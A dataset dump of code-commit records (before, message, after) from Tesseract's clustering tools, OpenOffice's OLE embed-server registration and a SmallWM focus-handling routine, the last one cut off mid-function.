text file to read sample size from\n * @return Sample size\n * @note Globals: None\n *\/\nuint16_t ReadSampleSize(TFile *fp) {\n  int SampleSize = 0;\n\n  const int kMaxLineSize = 100;\n  char line[kMaxLineSize];\n  ASSERT_HOST(fp->FGets(line, kMaxLineSize) != nullptr);\n  ASSERT_HOST(sscanf(line, \"%d\", &SampleSize) == 1);\n  ASSERT_HOST(SampleSize >= 0 && SampleSize <= MAXSAMPLESIZE);\n  return SampleSize;\n}\n\n\/**\n * This routine reads textual descriptions of sets of parameters\n * which describe the characteristics of feature dimensions.\n *\n * @param fp open text file to read N parameter descriptions from\n * @param N number of parameter descriptions to read\n * @return Pointer to an array of parameter descriptors.\n * @note Globals: None\n *\/\nPARAM_DESC *ReadParamDesc(TFile *fp, uint16_t N) {\n  PARAM_DESC *ParamDesc;\n  char linear_token[TOKENSIZE], essential_token[TOKENSIZE];\n\n  ParamDesc = static_cast<PARAM_DESC *>(Emalloc (N * sizeof (PARAM_DESC)));\n  for (int i = 0; i < N; i++) {\n    const int kMaxLineSize = TOKENSIZE * 4;\n    char line[kMaxLineSize];\n    ASSERT_HOST(fp->FGets(line, kMaxLineSize) != nullptr);\n    ASSERT_HOST(sscanf(line,\n                \"%\" QUOTED_TOKENSIZE \"s %\" QUOTED_TOKENSIZE \"s %f %f\",\n                linear_token, essential_token, &ParamDesc[i].Min,\n                &ParamDesc[i].Max) == 4);\n    ParamDesc[i].Circular = (linear_token[0] == 'c');\n    ParamDesc[i].NonEssential = (linear_token[0] != 'e');\n    ParamDesc[i].Range = ParamDesc[i].Max - ParamDesc[i].Min;\n    ParamDesc[i].HalfRange = ParamDesc[i].Range \/ 2;\n    ParamDesc[i].MidRange = (ParamDesc[i].Max + ParamDesc[i].Min) \/ 2;\n  }\n  return (ParamDesc);\n}\n\n\/**\n * This routine reads a textual description of a prototype from\n * the specified file.\n *\n * @param fp open text file to read prototype from\n * @param N number of dimensions used in prototype\n * @return List of prototypes\n * @note Globals: None\n *\/\nPROTOTYPE *ReadPrototype(TFile *fp, uint16_t N) {\n  char sig_token[TOKENSIZE], shape_token[TOKENSIZE];\n  PROTOTYPE *Proto;\n  int SampleCount;\n  int i;\n\n  const int kMaxLineSize = TOKENSIZE * 4;\n  char line[kMaxLineSize];\n  if (fp->FGets(line, kMaxLineSize) == nullptr ||\n      sscanf(line, \"%\" QUOTED_TOKENSIZE \"s %\" QUOTED_TOKENSIZE \"s %d\",\n             sig_token, shape_token, &SampleCount) != 3) {\n    tprintf(\"Invalid prototype: %s\\n\", line);\n    return nullptr;\n  }\n  Proto = static_cast<PROTOTYPE *>(Emalloc(sizeof(PROTOTYPE)));\n  Proto->Cluster = nullptr;\n  Proto->Significant = (sig_token[0] == 's');\n\n  switch (shape_token[0]) {\n    case 's':\n      Proto->Style = spherical;\n      break;\n    case 'e':\n      Proto->Style = elliptical;\n      break;\n    case 'a':\n      Proto->Style = automatic;\n      break;\n    default:\n      tprintf(\"Invalid prototype style specification:%s\\n\", shape_token);\n      Proto->Style = elliptical;\n  }\n\n  ASSERT_HOST(SampleCount >= 0);\n  Proto->NumSamples = SampleCount;\n\n  Proto->Mean = ReadNFloats(fp, N, nullptr);\n  ASSERT_HOST(Proto->Mean != nullptr);\n\n  switch (Proto->Style) {\n    case spherical:\n      ASSERT_HOST(ReadNFloats(fp, 1, &(Proto->Variance.Spherical)) != nullptr);\n      Proto->Magnitude.Spherical =\n          1.0 \/ sqrt(2.0 * M_PI * Proto->Variance.Spherical);\n      Proto->TotalMagnitude = pow(Proto->Magnitude.Spherical, static_cast<float>(N));\n      Proto->LogMagnitude = log(static_cast<double>(Proto->TotalMagnitude));\n      Proto->Weight.Spherical = 1.0 \/ Proto->Variance.Spherical;\n      Proto->Distrib = nullptr;\n      break;\n    case elliptical:\n      Proto->Variance.Elliptical = ReadNFloats(fp, N, nullptr);\n      ASSERT_HOST(Proto->Variance.Elliptical != nullptr);\n      Proto->Magnitude.Elliptical = static_cast<float *>(Emalloc(N * sizeof(float)));\n      Proto->Weight.Elliptical = static_cast<float *>(Emalloc(N * sizeof(float)));\n      Proto->TotalMagnitude = 1.0;\n      for (i = 0; i < N; i++) {\n        Proto->Magnitude.Elliptical[i] =\n            1.0 \/ sqrt(2.0 * M_PI * Proto->Variance.Elliptical[i]);\n        Proto->Weight.Elliptical[i] = 1.0 \/ Proto->Variance.Elliptical[i];\n        Proto->TotalMagnitude *= Proto->Magnitude.Elliptical[i];\n      }\n      Proto->LogMagnitude = log(static_cast<double>(Proto->TotalMagnitude));\n      Proto->Distrib = nullptr;\n      break;\n    default:\n      Efree(Proto);\n      tprintf(\"Invalid prototype style\\n\");\n      return nullptr;\n  }\n  return Proto;\n}\n\n\/**\n * This routine writes an array of dimension descriptors to\n * the specified text file.\n * @param File open text file to write param descriptors to\n * @param N number of param descriptors to write\n * @param ParamDesc array of param descriptors to write\n * @return None\n * @note Globals: None\n *\/\nvoid WriteParamDesc(FILE *File, uint16_t N, const PARAM_DESC ParamDesc[]) {\n  int i;\n\n  for (i = 0; i < N; i++) {\n    if (ParamDesc[i].Circular)\n      fprintf (File, \"circular \");\n    else\n      fprintf (File, \"linear   \");\n\n    if (ParamDesc[i].NonEssential)\n      fprintf (File, \"non-essential \");\n    else\n      fprintf (File, \"essential     \");\n\n    fprintf (File, \"%10.6f %10.6f\\n\", ParamDesc[i].Min, ParamDesc[i].Max);\n  }\n}\n\n\/**\n * This routine writes a textual description of a prototype\n * to the specified text file.\n * @param File open text file to write prototype to\n * @param N number of dimensions in feature space\n * @param Proto prototype to write out\n * @return None\n * @note Globals: None\n *\/\nvoid WritePrototype(FILE *File, uint16_t N, PROTOTYPE *Proto) {\n  int i;\n\n  if (Proto->Significant)\n    fprintf (File, \"significant   \");\n  else\n    fprintf (File, \"insignificant \");\n  WriteProtoStyle (File, static_cast<PROTOSTYLE>(Proto->Style));\n  fprintf (File, \"%6d\\n\\t\", Proto->NumSamples);\n  WriteNFloats (File, N, Proto->Mean);\n  fprintf (File, \"\\t\");\n\n  switch (Proto->Style) {\n    case spherical:\n      WriteNFloats (File, 1, &(Proto->Variance.Spherical));\n      break;\n    case elliptical:\n      WriteNFloats (File, N, Proto->Variance.Elliptical);\n      break;\n    case mixed:\n      for (i = 0; i < N; i++)\n      switch (Proto->Distrib[i]) {\n        case normal:\n          fprintf (File, \" %9s\", \"normal\");\n          break;\n        case uniform:\n          fprintf (File, \" %9s\", \"uniform\");\n          break;\n        case D_random:\n          fprintf (File, \" %9s\", \"random\");\n          break;\n        case DISTRIBUTION_COUNT:\n          ASSERT_HOST(!\"Distribution count not allowed!\");\n      }\n      fprintf (File, \"\\n\\t\");\n      WriteNFloats (File, N, Proto->Variance.Elliptical);\n  }\n}\n<commit_msg>clusttool: Replace strtof by std::stringstream<commit_after>\/******************************************************************************\n ** Filename: clusttool.cpp\n ** Purpose:  Misc. tools for use with the clustering routines\n ** Author:   Dan Johnson\n **\n ** (c) Copyright Hewlett-Packard Company, 1988.\n ** Licensed under the Apache License, Version 2.0 (the \"License\");\n ** you may not use this file except in compliance with the License.\n ** You may obtain a copy of the License at\n ** http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n ** Unless required by applicable law or agreed to in writing, software\n ** distributed under the License is distributed on an \"AS IS\" BASIS,\n ** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n ** See the License for the specific language governing permissions and\n ** limitations under the License.\n *****************************************************************************\/\n\n\/\/--------------------------Include Files----------------------------------\n#include \"clusttool.h\"\n#include <cmath>            \/\/ for std::isnan\n#include <locale>           \/\/ for std::locale::classic\n#include <sstream>          \/\/ for std::stringstream\n#include \"emalloc.h\"\n\nusing tesseract::TFile;\n\n\/\/---------------Global Data Definitions and Declarations--------------------\n#define TOKENSIZE 80         \/\/\/< max size of tokens read from an input file\n#define QUOTED_TOKENSIZE \"79\"\n#define MAXSAMPLESIZE 65535  \/\/\/< max num of dimensions in feature space\n\n\/**\n * This routine reads N floats from the specified text file\n * and places them into Buffer.  If Buffer is nullptr, a buffer\n * is created and passed back to the caller.  If EOF is\n * encountered before any floats can be read, nullptr is\n * returned.\n * @param fp open text file to read floats from\n * @param N number of floats to read\n * @param Buffer pointer to buffer to place floats into\n * @return Pointer to buffer holding floats or nullptr if EOF\n * @note Globals: None\n *\/\nstatic float *ReadNFloats(TFile *fp, uint16_t N, float Buffer[]) {\n  const int kMaxLineSize = 1024;\n  char line[kMaxLineSize];\n  if (fp->FGets(line, kMaxLineSize) == nullptr) {\n    tprintf(\"Hit EOF in ReadNFloats!\\n\");\n    return nullptr;\n  }\n  bool needs_free = false;\n\n  if (Buffer == nullptr) {\n    Buffer = static_cast<float *>(Emalloc(N * sizeof(float)));\n    needs_free = true;\n  }\n\n  std::stringstream stream(line);\n  \/\/ Use \"C\" locale (needed for float values Buffer[i]).\n  stream.imbue(std::locale::classic());\n  for (uint16_t i = 0; i < N; i++) {\n    float f = NAN;\n    stream >> f;\n    if (std::isnan(f)) {\n      tprintf(\"Read of %u floats failed!\\n\", N);\n      if (needs_free) Efree(Buffer);\n      return nullptr;\n    }\n    Buffer[i] = f;\n  }\n  return Buffer;\n}\n\n\/**\n * This routine writes a text representation of N floats from\n * an array to a file.  All of the floats are placed on one line.\n * @param File open text file to write N floats to\n * @param N number of floats to write\n * @param Array array of floats to write\n * @return None\n * @note Globals: None\n *\/\nstatic void WriteNFloats(FILE * File, uint16_t N, float Array[]) {\n  for (int i = 0; i < N; i++)\n    fprintf(File, \" %9.6f\", Array[i]);\n  fprintf(File, \"\\n\");\n}\n\n\/**\n * This routine writes to the specified text file a word\n * which represents the ProtoStyle.  It does not append\n * a carriage return to the end.\n * @param File open text file to write prototype style to\n * @param ProtoStyle prototype style to write\n * @return None\n * @note Globals: None\n *\/\nstatic void WriteProtoStyle(FILE *File, PROTOSTYLE ProtoStyle) {\n  switch (ProtoStyle) {\n    case spherical:\n      fprintf (File, \"spherical\");\n      break;\n    case elliptical:\n      fprintf (File, \"elliptical\");\n      break;\n    case mixed:\n      fprintf (File, \"mixed\");\n      break;\n    case automatic:\n      fprintf (File, \"automatic\");\n      break;\n  }\n}\n\n\/**\n * This routine reads a single integer from the specified\n * file and checks to ensure that it is between 0 and\n * MAXSAMPLESIZE.\n * @param fp open text file to read sample size from\n * @return Sample size\n * @note Globals: None\n *\/\nuint16_t ReadSampleSize(TFile *fp) {\n  int SampleSize = 0;\n\n  const int kMaxLineSize = 100;\n  char line[kMaxLineSize];\n  ASSERT_HOST(fp->FGets(line, kMaxLineSize) != nullptr);\n  ASSERT_HOST(sscanf(line, \"%d\", &SampleSize) == 1);\n  ASSERT_HOST(SampleSize >= 0 && SampleSize <= MAXSAMPLESIZE);\n  return SampleSize;\n}\n\n\/**\n * This routine reads textual descriptions of sets of parameters\n * which describe the characteristics of feature dimensions.\n *\n * @param fp open text file to read N parameter descriptions from\n * @param N number of parameter descriptions to read\n * @return Pointer to an array of parameter descriptors.\n * @note Globals: None\n *\/\nPARAM_DESC *ReadParamDesc(TFile *fp, uint16_t N) {\n  PARAM_DESC *ParamDesc;\n  char linear_token[TOKENSIZE], essential_token[TOKENSIZE];\n\n  ParamDesc = static_cast<PARAM_DESC *>(Emalloc (N * sizeof (PARAM_DESC)));\n  for (int i = 0; i < N; i++) {\n    const int kMaxLineSize = TOKENSIZE * 4;\n    char line[kMaxLineSize];\n    ASSERT_HOST(fp->FGets(line, kMaxLineSize) != nullptr);\n    ASSERT_HOST(sscanf(line,\n                \"%\" QUOTED_TOKENSIZE \"s %\" QUOTED_TOKENSIZE \"s %f %f\",\n                linear_token, essential_token, &ParamDesc[i].Min,\n                &ParamDesc[i].Max) == 4);\n    ParamDesc[i].Circular = (linear_token[0] == 'c');\n    ParamDesc[i].NonEssential = (linear_token[0] != 'e');\n    ParamDesc[i].Range = ParamDesc[i].Max - ParamDesc[i].Min;\n    ParamDesc[i].HalfRange = ParamDesc[i].Range \/ 2;\n    ParamDesc[i].MidRange = (ParamDesc[i].Max + ParamDesc[i].Min) \/ 2;\n  }\n  return (ParamDesc);\n}\n\n\/**\n * This routine reads a textual description of a prototype from\n * the specified file.\n *\n * @param fp open text file to read prototype from\n * @param N number of dimensions used in prototype\n * @return List of prototypes\n * @note Globals: None\n *\/\nPROTOTYPE *ReadPrototype(TFile *fp, uint16_t N) {\n  char sig_token[TOKENSIZE], shape_token[TOKENSIZE];\n  PROTOTYPE *Proto;\n  int SampleCount;\n  int i;\n\n  const int kMaxLineSize = TOKENSIZE * 4;\n  char line[kMaxLineSize];\n  if (fp->FGets(line, kMaxLineSize) == nullptr ||\n      sscanf(line, \"%\" QUOTED_TOKENSIZE \"s %\" QUOTED_TOKENSIZE \"s %d\",\n             sig_token, shape_token, &SampleCount) != 3) {\n    tprintf(\"Invalid prototype: %s\\n\", line);\n    return nullptr;\n  }\n  Proto = static_cast<PROTOTYPE *>(Emalloc(sizeof(PROTOTYPE)));\n  Proto->Cluster = nullptr;\n  Proto->Significant = (sig_token[0] == 's');\n\n  switch (shape_token[0]) {\n    case 's':\n      Proto->Style = spherical;\n      break;\n    case 'e':\n      Proto->Style = elliptical;\n      break;\n    case 'a':\n      Proto->Style = automatic;\n      break;\n    default:\n      tprintf(\"Invalid prototype style specification:%s\\n\", shape_token);\n      Proto->Style = elliptical;\n  }\n\n  ASSERT_HOST(SampleCount >= 0);\n  Proto->NumSamples = SampleCount;\n\n  Proto->Mean = ReadNFloats(fp, N, nullptr);\n  ASSERT_HOST(Proto->Mean != nullptr);\n\n  switch (Proto->Style) {\n    case spherical:\n      ASSERT_HOST(ReadNFloats(fp, 1, &(Proto->Variance.Spherical)) != nullptr);\n      Proto->Magnitude.Spherical =\n          1.0 \/ sqrt(2.0 * M_PI * Proto->Variance.Spherical);\n      Proto->TotalMagnitude = pow(Proto->Magnitude.Spherical, static_cast<float>(N));\n      Proto->LogMagnitude = log(static_cast<double>(Proto->TotalMagnitude));\n      Proto->Weight.Spherical = 1.0 \/ Proto->Variance.Spherical;\n      Proto->Distrib = nullptr;\n      break;\n    case elliptical:\n      Proto->Variance.Elliptical = ReadNFloats(fp, N, nullptr);\n      ASSERT_HOST(Proto->Variance.Elliptical != nullptr);\n      Proto->Magnitude.Elliptical = static_cast<float *>(Emalloc(N * sizeof(float)));\n      Proto->Weight.Elliptical = static_cast<float *>(Emalloc(N * sizeof(float)));\n      Proto->TotalMagnitude = 1.0;\n      for (i = 0; i < N; i++) {\n        Proto->Magnitude.Elliptical[i] =\n            1.0 \/ sqrt(2.0 * M_PI * Proto->Variance.Elliptical[i]);\n        Proto->Weight.Elliptical[i] = 1.0 \/ Proto->Variance.Elliptical[i];\n        Proto->TotalMagnitude *= Proto->Magnitude.Elliptical[i];\n      }\n      Proto->LogMagnitude = log(static_cast<double>(Proto->TotalMagnitude));\n      Proto->Distrib = nullptr;\n      break;\n    default:\n      Efree(Proto);\n      tprintf(\"Invalid prototype style\\n\");\n      return nullptr;\n  }\n  return Proto;\n}\n\n\/**\n * This routine writes an array of dimension descriptors to\n * the specified text file.\n * @param File open text file to write param descriptors to\n * @param N number of param descriptors to write\n * @param ParamDesc array of param descriptors to write\n * @return None\n * @note Globals: None\n *\/\nvoid WriteParamDesc(FILE *File, uint16_t N, const PARAM_DESC ParamDesc[]) {\n  int i;\n\n  for (i = 0; i < N; i++) {\n    if (ParamDesc[i].Circular)\n      fprintf (File, \"circular \");\n    else\n      fprintf (File, \"linear   \");\n\n    if (ParamDesc[i].NonEssential)\n      fprintf (File, \"non-essential \");\n    else\n      fprintf (File, \"essential     \");\n\n    fprintf (File, \"%10.6f %10.6f\\n\", ParamDesc[i].Min, ParamDesc[i].Max);\n  }\n}\n\n\/**\n * This routine writes a textual description of a prototype\n * to the specified text file.\n * @param File open text file to write prototype to\n * @param N number of dimensions in feature space\n * @param Proto prototype to write out\n * @return None\n * @note Globals: None\n *\/\nvoid WritePrototype(FILE *File, uint16_t N, PROTOTYPE *Proto) {\n  int i;\n\n  if (Proto->Significant)\n    fprintf (File, \"significant   \");\n  else\n    fprintf (File, \"insignificant \");\n  WriteProtoStyle (File, static_cast<PROTOSTYLE>(Proto->Style));\n  fprintf (File, \"%6d\\n\\t\", Proto->NumSamples);\n  WriteNFloats (File, N, Proto->Mean);\n  fprintf (File, \"\\t\");\n\n  switch (Proto->Style) {\n    case spherical:\n      WriteNFloats (File, 1, &(Proto->Variance.Spherical));\n      break;\n    case elliptical:\n      WriteNFloats (File, N, Proto->Variance.Elliptical);\n      break;\n    case mixed:\n      for (i = 0; i < N; i++)\n      switch (Proto->Distrib[i]) {\n        case normal:\n          fprintf (File, \" %9s\", \"normal\");\n          break;\n        case uniform:\n          fprintf (File, \" %9s\", \"uniform\");\n          break;\n        case D_random:\n          fprintf (File, \" %9s\", \"random\");\n          break;\n        case DISTRIBUTION_COUNT:\n          ASSERT_HOST(!\"Distribution count not allowed!\");\n      }\n      fprintf (File, \"\\n\\t\");\n      WriteNFloats (File, N, Proto->Variance.Elliptical);\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: register.cxx,v $\n *\n *  $Revision: 1.4 $\n *\n *  last change: $Author: hr $ $Date: 2006-06-20 05:41:18 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#include \"servprov.hxx\"\n\n#ifndef _COM_SUN_STAR_LANG_XSINGLESERVICEFACTORY_HPP_\n#include <com\/sun\/star\/lang\/XSingleServiceFactory.hpp>\n#endif\n#ifndef _COM_SUN_STAR_LANG_XMULTISERVICEFACTORY_HPP_\n#include <com\/sun\/star\/lang\/XMultiServiceFactory.hpp>\n#endif\n#ifndef _COM_SUN_STAR_REGISTRY_XREGISTRYKEY_HPP_\n#include <com\/sun\/star\/registry\/XRegistryKey.hpp>\n#endif\n#ifndef _COM_SUN_STAR_REGISTRY_INVALIDREGISTRYEXCEPTION_HPP_\n#include <com\/sun\/star\/registry\/InvalidRegistryException.hpp>\n#endif\n\n#ifndef _RTL_USTRING_H_\n#include <rtl\/ustring.h>\n#endif\n#ifndef _CPPUHELPER_FACTORY_HXX_\n#include <cppuhelper\/factory.hxx>\n#endif\n\n\nusing namespace ::com::sun::star;\n\n\nuno::Reference<uno::XInterface> SAL_CALL EmbedServer_createInstance(\n    const uno::Reference<lang::XMultiServiceFactory> & xSMgr)\nthrow (uno::Exception)\n{\n    uno::Reference<uno::XInterface > xService = *new EmbedServer_Impl( xSMgr );\n    return xService;\n}\n\n::rtl::OUString SAL_CALL EmbedServer_getImplementationName() throw()\n{\n    return ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM(\"com.sun.star.comp.ole.EmbedServer\") );\n\n}\n\nuno::Sequence< ::rtl::OUString > SAL_CALL EmbedServer_getSupportedServiceNames() throw()\n{\n    uno::Sequence< ::rtl::OUString > aServiceNames( 1 );\n    aServiceNames[0] = ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( \"com.sun.star.document.OleEmbeddedServerRegistration\" ) );\n    return aServiceNames;\n}\n\nextern \"C\" {\n\nvoid SAL_CALL component_getImplementationEnvironment( const sal_Char ** ppEnvTypeName, uno_Environment ** \/*ppEnv*\/ )\n{\n    *ppEnvTypeName = CPPU_CURRENT_LANGUAGE_BINDING_NAME;\n}\n\nvoid * SAL_CALL component_getFactory( const sal_Char * pImplName, void * pServiceManager, void * \/*pRegistryKey*\/ )\n{\n    void * pRet = 0;\n\n    ::rtl::OUString aImplName( ::rtl::OUString::createFromAscii( pImplName ) );\n    uno::Reference< lang::XSingleServiceFactory > xFactory;\n\n    if(pServiceManager && aImplName.equals( EmbedServer_getImplementationName() ) )\n    {\n        xFactory= ::cppu::createOneInstanceFactory( reinterpret_cast< lang::XMultiServiceFactory*>(pServiceManager),\n                                            EmbedServer_getImplementationName(),\n                                            EmbedServer_createInstance,\n                                            EmbedServer_getSupportedServiceNames() );\n    }\n\n    if (xFactory.is())\n    {\n        xFactory->acquire();\n        pRet = xFactory.get();\n    }\n\n    return pRet;\n}\n\nsal_Bool SAL_CALL component_writeInfo( void * \/*pServiceManager*\/, void * pRegistryKey )\n{\n    if (pRegistryKey)\n    {\n        try\n        {\n            uno::Reference< registry::XRegistryKey > xKey( reinterpret_cast< registry::XRegistryKey* >( pRegistryKey ) );\n\n            uno::Reference< registry::XRegistryKey >  xNewKey;\n\n            xNewKey = xKey->createKey( ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM(\"\/\") ) +\n                                        EmbedServer_getImplementationName() +\n                                        ::rtl::OUString(RTL_CONSTASCII_USTRINGPARAM( \"\/UNO\/SERVICES\") )  );\n\n            uno::Sequence< ::rtl::OUString > rServices = EmbedServer_getSupportedServiceNames();\n            for( sal_Int32 ind = 0; ind < rServices.getLength(); ind++ )\n                xNewKey->createKey( rServices.getConstArray()[ind] );\n\n            return sal_True;\n        }\n        catch (registry::InvalidRegistryException &)\n                {\n                    OSL_ENSURE( sal_False, \"### InvalidRegistryException!\" );\n                }\n        }\n        return sal_False;\n}\n\n} \/\/ extern \"C\"\n\n\/\/ Fix strange warnings about some\n\/\/ ATL::CAxHostWindow::QueryInterface|AddRef|Releae functions.\n\/\/ warning C4505: 'xxx' : unreferenced local function has been removed\n#if defined(_MSC_VER)\n#pragma warning(disable: 4505)\n#endif\n<commit_msg>INTEGRATION: CWS obo05 (1.4.8); FILE MERGED 2006\/08\/28 13:47:49 obo 1.4.8.1: #i53611# diable warnings C4917 and 4555<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: register.cxx,v $\n *\n *  $Revision: 1.5 $\n *\n *  last change: $Author: vg $ $Date: 2006-09-25 13:30:46 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n#if defined(_MSC_VER) && (_MSC_VER > 1310)\n#pragma warning(disable : 4917 4555)\n#endif\n\n#include \"servprov.hxx\"\n\n#ifndef _COM_SUN_STAR_LANG_XSINGLESERVICEFACTORY_HPP_\n#include <com\/sun\/star\/lang\/XSingleServiceFactory.hpp>\n#endif\n#ifndef _COM_SUN_STAR_LANG_XMULTISERVICEFACTORY_HPP_\n#include <com\/sun\/star\/lang\/XMultiServiceFactory.hpp>\n#endif\n#ifndef _COM_SUN_STAR_REGISTRY_XREGISTRYKEY_HPP_\n#include <com\/sun\/star\/registry\/XRegistryKey.hpp>\n#endif\n#ifndef _COM_SUN_STAR_REGISTRY_INVALIDREGISTRYEXCEPTION_HPP_\n#include <com\/sun\/star\/registry\/InvalidRegistryException.hpp>\n#endif\n\n#ifndef _RTL_USTRING_H_\n#include <rtl\/ustring.h>\n#endif\n#ifndef _CPPUHELPER_FACTORY_HXX_\n#include <cppuhelper\/factory.hxx>\n#endif\n\n\nusing namespace ::com::sun::star;\n\n\nuno::Reference<uno::XInterface> SAL_CALL EmbedServer_createInstance(\n    const uno::Reference<lang::XMultiServiceFactory> & xSMgr)\nthrow (uno::Exception)\n{\n    uno::Reference<uno::XInterface > xService = *new EmbedServer_Impl( xSMgr );\n    return xService;\n}\n\n::rtl::OUString SAL_CALL EmbedServer_getImplementationName() throw()\n{\n    return ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM(\"com.sun.star.comp.ole.EmbedServer\") );\n\n}\n\nuno::Sequence< ::rtl::OUString > SAL_CALL EmbedServer_getSupportedServiceNames() throw()\n{\n    uno::Sequence< ::rtl::OUString > aServiceNames( 1 );\n    aServiceNames[0] = ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( \"com.sun.star.document.OleEmbeddedServerRegistration\" ) );\n    return aServiceNames;\n}\n\nextern \"C\" {\n\nvoid SAL_CALL component_getImplementationEnvironment( const sal_Char ** ppEnvTypeName, uno_Environment ** \/*ppEnv*\/ )\n{\n    *ppEnvTypeName = CPPU_CURRENT_LANGUAGE_BINDING_NAME;\n}\n\nvoid * SAL_CALL component_getFactory( const sal_Char * pImplName, void * pServiceManager, void * \/*pRegistryKey*\/ )\n{\n    void * pRet = 0;\n\n    ::rtl::OUString aImplName( ::rtl::OUString::createFromAscii( pImplName ) );\n    uno::Reference< lang::XSingleServiceFactory > xFactory;\n\n    if(pServiceManager && aImplName.equals( EmbedServer_getImplementationName() ) )\n    {\n        xFactory= ::cppu::createOneInstanceFactory( reinterpret_cast< lang::XMultiServiceFactory*>(pServiceManager),\n                                            EmbedServer_getImplementationName(),\n                                            EmbedServer_createInstance,\n                                            EmbedServer_getSupportedServiceNames() );\n    }\n\n    if (xFactory.is())\n    {\n        xFactory->acquire();\n        pRet = xFactory.get();\n    }\n\n    return pRet;\n}\n\nsal_Bool SAL_CALL component_writeInfo( void * \/*pServiceManager*\/, void * pRegistryKey )\n{\n    if (pRegistryKey)\n    {\n        try\n        {\n            uno::Reference< registry::XRegistryKey > xKey( reinterpret_cast< registry::XRegistryKey* >( pRegistryKey ) );\n\n            uno::Reference< registry::XRegistryKey >  xNewKey;\n\n            xNewKey = xKey->createKey( ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM(\"\/\") ) +\n                                        EmbedServer_getImplementationName() +\n                                        ::rtl::OUString(RTL_CONSTASCII_USTRINGPARAM( \"\/UNO\/SERVICES\") )  );\n\n            uno::Sequence< ::rtl::OUString > rServices = EmbedServer_getSupportedServiceNames();\n            for( sal_Int32 ind = 0; ind < rServices.getLength(); ind++ )\n                xNewKey->createKey( rServices.getConstArray()[ind] );\n\n            return sal_True;\n        }\n        catch (registry::InvalidRegistryException &)\n                {\n                    OSL_ENSURE( sal_False, \"### InvalidRegistryException!\" );\n                }\n        }\n        return sal_False;\n}\n\n} \/\/ extern \"C\"\n\n\/\/ Fix strange warnings about some\n\/\/ ATL::CAxHostWindow::QueryInterface|AddRef|Releae functions.\n\/\/ warning C4505: 'xxx' : unreferenced local function has been removed\n#if defined(_MSC_VER)\n#pragma warning(disable: 4505)\n#endif<|endoftext|>"}
{"text":"<commit_before>#include \"clientmodel-events.h\"\n\n\/**\n * Handles all the currently queued change events, returning when the\n * ClientModel change list is exhausted.\n *\/\nvoid ClientModelEvents::handle_queued_changes()\n{\n    m_should_relayer = false;\n\n    for (ClientModel::change_iter change_iter = m_clients.changes_begin();\n            change_iter != m_clients.changes_end();\n            change_iter++)\n    {\n        m_change = *change_iter;\n\n        if (m_change->is_layer_change())\n            handle_layer_change();\n        else if (m_change->is_focus_change())\n            handle_focus_change();\n        else if (m_change->is_client_desktop_change())\n            handle_client_desktop_change();\n        else if (m_change->is_current_desktop_change())\n            handle_current_desktop_change();\n        else if (m_change->is_location_change())\n            handle_location_change();\n        else if (m_change->is_size_change())\n            handle_size_change();\n    }\n\n    if (m_should_relayer)\n        do_relayer();\n}\n\n\/**\n * Sets a flag so that relayering occurs later - this avoid relayering on\n * every ChangeLayer event.\n *\/\nvoid ClientModelEvents::handle_layer_change()\n{\n    m_should_relayer = true;\n}\n\n\/**\n * Changes the focus from one window to another.\n *\n * The focus model used by SmallWM is click-to-focus, so clicks must be\n * captured on unfocused clients, while focused clients should not be captured.\n *\/\nvoid ClientModelEvents::handle_focus_change()\n{\n    ChangeFocus const *change_event = dynamic_cast<ChangeFocus const*>(m_change);\n\n    \/\/ First, unfocus whatever the model says is unfoucsed. Note that the\n    \/\/ client which is being unfocused may not exist anymore.\n    Window unfocused_client = change_event->prev_focus;\n    if (m_clients.is_client(unfocused_client))\n    {\n        \/\/ Since this window will possibly be focused later, capture the clicks\n        \/\/ going to it so we know when it needs to be focused again\n        m_xdata.set_border_color(unfocused_client, X_WHITE);\n        m_xdata.grab_mouse(unfocused_client);\n    }\n\n    Window focused_client = change_event->next_focus;\n    if (focused_client == None)\n    {\n        \/\/ We can't set the border color of a nonexistent window, so just set\n        \/\/ the focus to None\n        m_xdata.set_input_focus(None);\n    }\n    else\n    {\n        \/\/ Since this is now focused, let the client process events in by \n        \/\/ ungrabbing the mouse and setting the keyboard focus\n        if (m_xdata.set_input_focus(focused_client))\n        {\n            m_xdata.set_border_color(unfocused_client, X_BLACK);\n            m_xdata.ungrab_mouse(focused_client);\n        }\n        else\n        {\n  